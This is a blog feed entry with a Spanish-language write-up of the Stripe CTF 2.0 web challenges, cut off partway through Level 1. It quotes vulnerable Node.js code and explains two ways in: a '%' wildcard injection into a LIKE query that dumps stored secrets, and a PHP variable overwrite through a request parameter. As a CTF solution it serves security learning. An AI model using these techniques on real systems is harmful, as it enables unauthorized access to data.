<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4353476205966601580</id><updated>2024-11-08T16:02:16.758+01:00</updated><category term="Linux"/><category term="Seguridad / Hacking"/><category term="Curiosidades"/><category term="interprete de órdenes - bash"/><category term="comandos"/><category term="vi / vim"/><category term="Sec/Hack Web"/><category term="TodoLinux"/><category term="Windows"/><category term="tips"/><category term="Articulos"/><category term="Criptografía"/><category term="Delitos informaticos"/><category term="VPN"/><category term="Actualizaciones"/><category term="Google"/><category term="Imagenes"/><category term="SQL Injection"/><category term="Análisis de malware"/><category term="INTECO-CERT"/><category term="Moviles"/><category term="Novedades"/><category term="Seguridad Lógica"/><category term="secciones"/><category term="Anonimato"/><category term="CTF"/><category term="DNS"/><category term="OpenSSO"/><category term="Programacion"/><category term="Recomendaciones"/><category term="Revistas"/><category term="SSH"/><category term="SSL"/><category term="Shodan"/><category term="Single Sign-On"/><category term="Videos"/><category term="blog"/><category term="brillo/brightness"/><category term="dual-head"/><category term="libros"/><category term="malware"/><category term="monitor"/><category term="proxy"/><category term="redes"/><category term="sudo"/><category term="sudoers"/><category term="traceroute"/><category term="visudo"/><category term="APT"/><category term="Agradecimientos"/><category term="Base de datos"/><category term="Bateria"/><category term="Blind SQL Injection"/><category term="DLP"/><category term="Documentacion"/><category term="Fuzzing"/><category term="Hardware"/><category term="Injection Flaws"/><category term="KDE"/><category term="Keylogger"/><category term="LANParty"/><category term="LaTeX"/><category term="Legislación"/><category term="Lenguaje C"/><category term="Oracle"/><category term="PHP"/><category term="Películas"/><category term="Privacidad"/><category term="Recopilacion Twitter"/><category term="Robo de sesion"/><category term="SEO"/><category term="Ubuntu"/><category term="backup"/><category term="certificados"/><category term="concienciacion"/><category term="curso"/><category term="diagramas"/><category term="hping"/><category term="humor"/><category term="ingles"/><category term="krita"/><category term="md5sum"/><category term="mount"/><category term="network-manager"/><category term="openoffice"/><category term="pcap"/><category term="perl"/><category term="python"/><category term="vmware"/><title type='text'>Urdiendo</title><subtitle type='html'>No hay laberinto del que no pueda escapar</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>182</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-764480558475066042</id><published>2013-03-16T16:51:00.000+01:00</published><updated>2013-03-16T16:51:03.051+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CTF"/><category scheme="http://www.blogger.com/atom/ns#" term="Sec/Hack Web"/><title type='text'>Stripe CTF 2 Write-up</title><content type='html'>Copia de la entrada que publiqué en hackplayers con el &lt;a href=&quot;http://www.hackplayers.com/2012/09/solucionario-del-ctf-20-de-stripe.html&quot;&gt;solucionario del CTF 2.0 de Stripe&lt;/a&gt;.&lt;br /&gt;
Al final llegó el premio :)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://pbs.twimg.com/media/A7_KGUXCYAAqlp0.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://pbs.twimg.com/media/A7_KGUXCYAAqlp0.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
------------------------------------&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;https://stripe.com/blog/capture-the-flag-20&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;https://stripe.com/blog/capture-the-flag-20&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF_bBQ1ALmbKu2i7smsrnDiWrtmZ9O9iKQ2dji2mHWMIR9srGeYEuJkVWLjdbGdEade7GoxjnE4_r50LrM_jcQ0hGYagi3yn14gjPLHdw_lgsZpYNRHPuriwJz597ESu8cggYdgL5fAQU/s1600/stripe_ctf20.png&quot; imageanchor=&quot;1&quot; style=&quot;color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF_bBQ1ALmbKu2i7smsrnDiWrtmZ9O9iKQ2dji2mHWMIR9srGeYEuJkVWLjdbGdEade7GoxjnE4_r50LrM_jcQ0hGYagi3yn14gjPLHdw_lgsZpYNRHPuriwJz597ESu8cggYdgL5fAQU/s1600/stripe_ctf20.png&quot; style=&quot;border: 0px; padding: 2px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Hay 9 niveles donde nos proporcionan una introducción y el código fuente del servicio a atacar. Todo el código que nos proporcionan lo he subido a&amp;nbsp;&lt;a href=&quot;https://github.com/dalvarezs&quot; style=&quot;color: #2970a6; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;https://github.com/dalvarezs&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;&quot; name=&quot;more&quot; style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 0&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we&#39;ve prepared a list of helpful resources for you. You can chat with fellow solvers in the CTF chatroom (also accessible in your favorite IRC client at irc://irc.stripe.com:+6697/ctf).&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;We&#39;ll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes...&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;You can access the Secret Safe at https://level00-1.stripe-ctf.com/user-czemoskhjv. The Safe&#39;s code is included below, and can also be obtained via git clone https://level00-1.stripe-ctf.com/user-czemoskhjv/level00-code.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Revisando el código en ruby rápidamente se ve que la vulnerabilidad es una inyección de código SQL en una sentencia con LIKE.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;El código vulnerable en el fichero level00.js es:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;/*&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; res&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; req&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;namespace&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; query &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;SELECT * FROM secrets WHERE key LIKE ? || &quot;.%&quot;&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; db&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; secrets&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;throw&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; err&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; renderPage&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; secrets&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; secrets&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;});&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;});&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; renderPage&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{});&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Enviando el carácter % en el parámetro namespace se obtienen todos los valores almacenados, obteniendo el password MTNzeALlbv.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you&#39;ll be given the password to access Level 2! We&#39;ve been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn&#39;t be able to extract the password anyway), so you&#39;ll probably just have to try all the possible combinations. Or will you...?&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-fidecfsyim. The code for the Game can be obtained from git clone https://level01-2.stripe-ctf.com/user-fidecfsyim/level01-code, and is also included below.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;La aplicación espera en el parámetro attempt la contraseña, sin embargo, leyendo el código (esta vez en php) te das cuenta de que es posible enviar un parámetro con el nombre de la variable filename que será el utilizado por el codigo php, en vez de &#39;secret-combination.txt&#39;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; 